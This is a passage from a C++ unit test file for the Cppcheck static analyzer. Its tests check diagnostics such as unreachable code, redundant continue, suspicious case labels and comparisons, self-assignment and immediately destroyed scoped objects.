8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" do {\\n\"\n \" break;\\n\"\n \" g();\\n\"\n \" } while (0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Statements following 'break' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12244\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" {\\n\"\n \" std::cout << \\\"x\\\";\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \" std::cout << \\\"y\\\";\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float 